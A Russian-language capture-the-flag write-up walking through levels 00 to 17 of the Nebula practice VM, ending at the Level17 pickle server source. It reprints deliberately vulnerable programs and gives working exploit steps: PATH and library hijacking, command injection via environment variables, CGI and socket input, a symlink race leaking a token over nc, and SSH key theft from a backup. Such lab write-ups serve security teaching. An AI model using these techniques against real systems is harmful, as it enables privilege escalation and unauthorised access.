Exploit Exercises или ещё один сайт для любителей VulnHub
Всем доброго времени суток, спасибо, что читаете мои райтапы.
Сегодня речь пойдёт ещё об одном сайте, который похож на VulnHub. Это Exploit Exercises. Несмотря на небольшое количество виртуалок, и их относительно давнюю публикацию, почерпнуть что-то новое можно и там. Тем более это компенсируется разнообразием и количеством уровней.
Начать предлагается с виртуальной машины под названием Nebula. Её мы сегодня и разберём.
Всего имеется 20 уровней, по следующим тематикам:
- SUID files
- Permissions
- Race conditions
- Shell meta-variables
- $PATH weaknesses
- Scripting language weaknesses
- Binary compilation failures
Для каждого уровня создан отдельный пользователь levelXX, и пользователь flagXX привилегии которого нужно получить, для того чтобы выполнить от его имени команду getflag. Начнём!
Level00
Нас просят используя find найти и запустить SUID программу пользователя flag00. Ищем:
level00@nebula:~$ find / -user flag00 2>/dev/null
/bin/.../flag00
Запускаем:
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account
Level01
Дан исходник уязвимого приложения, нужно выполнить getflag:
level1.c
#include
#include
#include
#include
#include
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
Вот, что бывает когда доверяешь env:)
level01@nebula:~$ cd /tmp/
level01@nebula:/tmp$ ln -s /bin/getflag echo
level01@nebula:/tmp$ PATH=/tmp:$PATH
level01@nebula:/tmp$ env echo
getflag is executing on a non-flag account, this doesn't count
level01@nebula:/tmp$ /home/flag01/flag01
You have successfully executed getflag on a target account
Level02
Ещё один пример уязвимой программы, которая доверяет переменным окружения:
level2.c
#include
#include
#include
#include
#include
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
Просто меняем $USER:
level02@nebula:~$ USER="12|getflag"
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo 12|getflag is cool")
You have successfully executed getflag on a target account
Level03
Тут сорцев нет, но есть crontab, и опасные права для директории:
writable.sh
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
level03@nebula:/home/flag03$ ls -ahl
drwxrwxrwx 1 flag03 flag03 60 2017-01-12 00:30 writable.d/
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh*
level03@nebula:/home/flag03$ echo "getflag >> /tmp/flag" > writable.d/flag.sh
Спустя некоторое время:
level03@nebula:/home/flag03$ cat /tmp/flag
You have successfully executed getflag on a target account
crontab -u flag03 -l
*/3 * * * * /home/flag03/writable.sh
Level04
А тут нас просят, используя эту программу, прочитать содержимое файла token:
level4.c
#include
#include
#include
#include
#include
#include
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
level04@nebula:~$ ll /home/flag04
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04*
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
Раз файл не должен содержать «token», он не будет содержать «token»:
level04@nebula:~$ /home/flag04/flag04
/home/flag04/flag04 [file to read]
level04@nebula:~$ /home/flag04/flag04 token
You may not access 'token'
level04@nebula:~$ ln -s /home/flag04/token /tmp/flag04lnk
level04@nebula:~$ /home/flag04/flag04 /tmp/flag04lnk
06508b5e-8909-4f38-b630-fdb148a848a2
Level05
На этом уровне нас ждут не верно выставленные права для директории:
level05@nebula:~$ ll /home/flag05/
drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup/
-rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh/
Резервные копии это хорошо, посмотрим что там:
level05@nebula:~$ ll /home/flag05/.backup/
-rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:~$ tar -xvf /home/flag05/.backup/backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
Превосходно, приватный ssh-ключ. Подключаемся и выполняем getflag:
level05@nebula:~$ ssh -i .ssh/id_rsa flag05@127.0.0.1
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
Level06
В описании говорится про учетные данные из прошлых версий Unix.
level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
Скармливаем хеш John'у, который определяет его как слово hello. Авторизуемся и забираем «флаг»:
level06@nebula:~$ ssh flag06@127.0.0.1
flag06@nebula:~$ getflag
You have successfully executed getflag on a target account
Level07
Пользователь flag07 написал своё первое приложение на Perl:
index.cgi
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("Ping results ");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("
»);
}
# check if Host set. if not, display normal page, etc
ping (param («Host»));
Тут у нас отсутствие фильтрации параметров в переменной $host. Проверим порт, на котором оно висит:
level07@nebula:~$ cat /home/flag07/thttpd.conf | grep port
port=7007
И успешно проэксплуатируем:
Level08
Нас просят посмотреть дамп трафика и авторизоваться. Скачиваем его себе:
level08@nebula:~$ ls -lh /home/flag08
-rw-r--r-- 1 root root 8302 2011-11-20 21:22 capture.pcap
$ scp level08@10.0.31.116:/home/flag08/capture.pcap ./
Посмотрим что там:
Странно что в пароле присутствуют непечатаемые символы, после извлечения HEX дампа этого пароля и некоторого преобразования, получаем такой результат:
62 => "b"; 61 => "a"; 63 => "c"; 6b => "k"; 64 => "d"; 6f => "o"; 6f => "o"; 72 => "r"; 7f => "."; 7f => "."; 7f => "."; 30 => "0"; 30 => "0"; 52 => "R"; 6d => "m"; 38 => "8"; 7f => "."; 61 => "a"; 74 => "t"; 65 => "e"; 0d => "."
Гугл быстро подсказал, что xterm использует байт 0×7f в качестве Backspace. Таким образом пароль: backd00Rmate
Коннектимся и запускаем getflag:
$ ssh 10.0.31.116 -l flag08
flag08@nebula:~$ getflag
You have successfully executed getflag on a target account
Level09
Нам доступна SUID обёртка на С для уязвимого PHP скрипта:
level9.php
", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
Строка $contents = preg_replace (»/(\[email (.*)\])/e», «spam (\»\\2\»)», $contents); довольно интересна:
- Если содержимое совпадает с регулярным выражением: »/(\[email (.*)\])/»;
- Оно заменяется на функцию spam, которая в качестве аргумента принимает значение в круглых скобках. А затем выполняется
Мы можем отправить любую команду:
level09@nebula:~$ echo '[email {${system($use_me)}}]' > /tmp/eval
level09@nebula:~$ /home/flag09/flag09 /tmp/eval getflag
You have successfully executed getflag on a target account
Level10
Программа которая полагаясь на access () отправляет по сети любой файл:
basic.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
Идея проста, так как сначала проверяется доступ к запрашиваемому файлу, а уже потом он отправляется, то используя ссылки, нужно поймать момент, когда:
- Ссылка будет указывать на файл, доступ к которому имеется;
- access () проверит этот файл;
- Ссылка изменится на файл, доступа к которому у нас нет;
- Программа успешно нам его отправит
Реализуем это. Циклом меняем ссылки:
level10@nebula:/tmp$ echo "token" > /tmp/token
level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token flag10; ln -sf /tmp/token flag10; done
В другом окне запускаем цикл, который будет отправлять файл по ссылке:
level10@nebula:~$ while true; do /home/flag10/flag10 /tmp/flag10 10.0.31.183; done
У себя запускаем nc для прослушивания порта и вывода полученных данных:
while true; do nc -l -p 18211 > flag10; cat flag10 | grep -v token | grep -v ".oO Oo."; done
И практически сразу получаем токен:
token = 615a2ce1-b2b5–4c76–8eed-8aa5c4015c27
Используя его как пароль, логинимся под пользователем flag10:
level10@nebula:/tmp$ ssh flag10@localhost
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account
Level11
Есть программа, которая читает STDIN и выполняет его:
level11.c
#include
#include
#include
#include
#include
#include
#include
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
Но не всё так просто. Авторы пишут что есть, 2 решения, но как оказалось позже оба не работают. Но обо всём по порядку:
Сначала нас просят указать количество отправляемых байт, а затем в зависимости от этого количества, строка либо сразу передаётся в функцию process, либо предварительно данные копируются в память.
Функция process, XOR'ит их и затем отдаёт в system. Следовательно, нам нужно отправить строку, которая уже будет обработана XOR'ом:
flag11.py
#!/usr/bin/python
cmd = "/bin/getflag\x00"
length = 1024
key = length & 0xff
enc = ''
for i in range(len(cmd)):
char_byte = ord(cmd[i]) ^ key
enc += chr(char_byte & 0xff)
key = (key - ord(cmd[i])) & 0xff
if length != len(cmd):
junk = "A" * (length - len(cmd))
print( "Content-Length: %d\n%s%s" %(length, enc, junk) )
else:
print( "Content-Length: %d\n%s" %(length, enc) )
Запускаем и ничего:
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ python /tmp/flag11.py | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count
В документации к функции system, находим это:
Не используйте system () в программах с привилегиями suid или sgid, потому что некоторые значения переменных окружения могут вызвать сбои в системе. Вместо нее рекомендуется использование семейства функций exec (3), но не execlp (3) или execvp (3). system () неправильно функционирует в программах с привилегиями suid или sgid тех систем, где /bin/sh заменено на bash версии 2, так как bash 2 обнуляет права при запуске. Debian использует измененный bash, который не производит при запуске этого действия так, как это делает sh.
Bash всех подвёл:
level11@nebula:/home/flag11$ ll /bin/sh
lrwxrwxrwx 1 root root 9 2011-11-20 20:38 /bin/sh -> /bin/bash*
P.S. Проверив это на отдельно скомпилированном бинарнике, получаем тоже самое. Гугл результатов не дал, видимо авторы обновили bash, а обновить задание забыли…
Level12
Как сказано в описании: бэкдор на 50001 порту. Хм, посмотрим:
level12.lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
И так, снова отсутствие фильтрации введённых данных. Добавим комментарий:
level12@nebula:~$ nc 127.0.0.1 50001
Password: 4754a4f4bd5787accd33de887b9250a0691dd198 #
Congrats, your token is 413**CARRIER LOST**
Ок, это сработало, попробуем нечто другое: 123; getflag > /tmp/flag12 #
level12@nebula:~$ nc 127.0.0.1 50001
Password: 123 ; getflag > /tmp/flag12 #
Better luck next time
level12@nebula:~$ cat /tmp/flag12
You have successfully executed getflag on a target account
level12@nebula:~$
Level13
Дан исходник, а самое главное вырезали, не хорошо:
level13_safe.c
#include
#include
#include
#include
#include
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
Извлекаем строки:
level13@nebula:~$ strings /home/flag13/flag13
8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob
your token is %s
Дизассемблировав приложение в gdb, находим интересную строку:
0x080485a2 <+222>: xor $0x5a,%edx
У нас есть строка: 8mjomjh8wml; bwnh8jwbbnnwi;>;88? o;9ob, у нас есть ключ: 0×5a, у нас есть операция: xor. Отправляем это в Python:
>>> ''.join([chr(ord(x)^0x5a) for x in '8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob'])
>>> 'b705702b-76a8-42b0-8844-3adabbe5ac58'
И успешно проходим авторизацию:
level13@nebula:~$ su flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
sh-4.2$ id
uid=986(flag13) gid=986(flag13) groups=986(flag13)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Level14
Дана программа, которая шифрует всё что идёт на STDIN и отправляет в STDOUT, и есть токен, который нас просят расшифровать:
level14@nebula:~$ cat /home/flag14/token
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
Посмотрим на алгоритм в IDA:
Ну всё просто, 1 строка на Python:
>>> ''.join([chr(ord(a[i])-i) for i in range(len(a))])
>>> '8457c118-887c-4e40-a5a6-33a25353165\x0b'
Токен у нас, остался последний шаг:
level14@nebula:~$ su - flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
flag14@nebula:~$ getflag
You have successfully executed getflag on a target account
Level15
Нас просят посмотреть вывод команды strace, на наличие аномалий:
level15@nebula:~$ strace /home/flag15/flag15
strace
execve (»/home/flag15/flag15», [»/home/flag15/flag15»], [/* 18 vars */]) = 0
brk (0) = 0×8d3a000
access (»/etc/ld.so.nohwcap», F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773b000
access (»/etc/ld.so.preload», R_OK) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/i686/sse2/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/i686/sse2/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/i686/sse2», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/i686/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/i686/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/i686/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/i686», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/sse2/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/sse2/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/sse2/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/sse2», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/i686/sse2/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/i686/sse2/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/i686/sse2/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/i686/sse2», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/i686/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/i686/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/i686/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/i686», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/sse2/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/sse2/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/sse2/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/sse2», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15», {st_mode=S_IFDIR|0775, st_size=3, …}) = 0
open (»/etc/ld.so.cache», O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, …}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close (3) = 0
access (»/etc/ld.so.nohwcap», F_OK) = -1 ENOENT (No such file or directory)
open (»/lib/i386-linux-gnu/libc.so.6», O_RDONLY) = 3
read (3,»\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0»…, 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, …}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0×110000
mmap2(0×286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0×176) = 0×286000
mmap2(0×289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0×289000
close (3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area ({entry_number:-1 → 6, base_addr:0xb77318d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect (0×286000, 8192, PROT_READ) = 0
mprotect (0×8049000, 4096, PROT_READ) = 0
mprotect (0xae4000, 4096, PROT_READ) = 0
munmap (0xb7732000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev (136, 0), …}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773a000
write (1, «strace it!\n», 11strace it!
) = 11
exit_group (11)
brk (0) = 0×8d3a000
access (»/etc/ld.so.nohwcap», F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773b000
access (»/etc/ld.so.preload», R_OK) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/i686/sse2/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/i686/sse2/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/i686/sse2», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/i686/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/i686/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/i686/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/i686», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/sse2/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/sse2/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/sse2/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/sse2», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/tls/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/tls», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/i686/sse2/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/i686/sse2/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/i686/sse2/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/i686/sse2», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/i686/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/i686/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/i686/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/i686», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/sse2/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/sse2/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/sse2/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/sse2», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/cmov/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15/cmov», 0xbf998584) = -1 ENOENT (No such file or directory)
open (»/var/tmp/flag15/libc.so.6», O_RDONLY) = -1 ENOENT (No such file or directory)
stat64(»/var/tmp/flag15», {st_mode=S_IFDIR|0775, st_size=3, …}) = 0
open (»/etc/ld.so.cache», O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, …}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7732000
close (3) = 0
access (»/etc/ld.so.nohwcap», F_OK) = -1 ENOENT (No such file or directory)
open (»/lib/i386-linux-gnu/libc.so.6», O_RDONLY) = 3
read (3,»\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0»…, 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, …}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0×110000
mmap2(0×286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0×176) = 0×286000
mmap2(0×289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0×289000
close (3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7731000
set_thread_area ({entry_number:-1 → 6, base_addr:0xb77318d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect (0×286000, 8192, PROT_READ) = 0
mprotect (0×8049000, 4096, PROT_READ) = 0
mprotect (0xae4000, 4096, PROT_READ) = 0
munmap (0xb7732000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev (136, 0), …}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb773a000
write (1, «strace it!\n», 11strace it!
) = 11
exit_group (11)
Странно что программа пытается подгрузить либы из /var/tmp/flag15/. Попробуем подсунуть ему свою libc.so.6:
#include
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), vo$
{
execv("/bin/getflag", NULL);
return 0;
}
Компилим и запускаем:
level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=vers,-Bstatic -o libc.so.6 fake_lib.c
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
You have successfully executed getflag on a target account
Level16
Очередное Perl CGI приложение, которое висит на 1616 порту:
index.pl
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("Login resuls ");
if($_[0] == 1) {
print("Your login was accepted
");
} else {
print("Your login failed
");
}
print("Would you like a cookie?
\n");
}
htmlz(login(param("username"), param("password")));
Содержимое $username сначала переводится в верхний регистр, а затем отправляется на исполнение через оператор ``.
Попытка, вставить команду, которая закрыла бы egrep, не увенчалась успехом. Но мы можем попробовать обойти верхний регистр с помощью метода из этой статьи:
level16@nebula:/tmp$ cat FLAG
#!/bin/bash
getflag > /tmp/flag16log
Переходим в браузере по ссылке:
10.0.31.116:1616/index.cgi? username=`/*/FLAG`
И выводим наш флаг:
level16@nebula:/tmp$ cat flag16log
You have successfully executed getflag on a target account
Level17
Как сказано в описании: Этот скрипт слушает порт 10007 и имеет уязвимость. Очень многословно.
level17.py
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
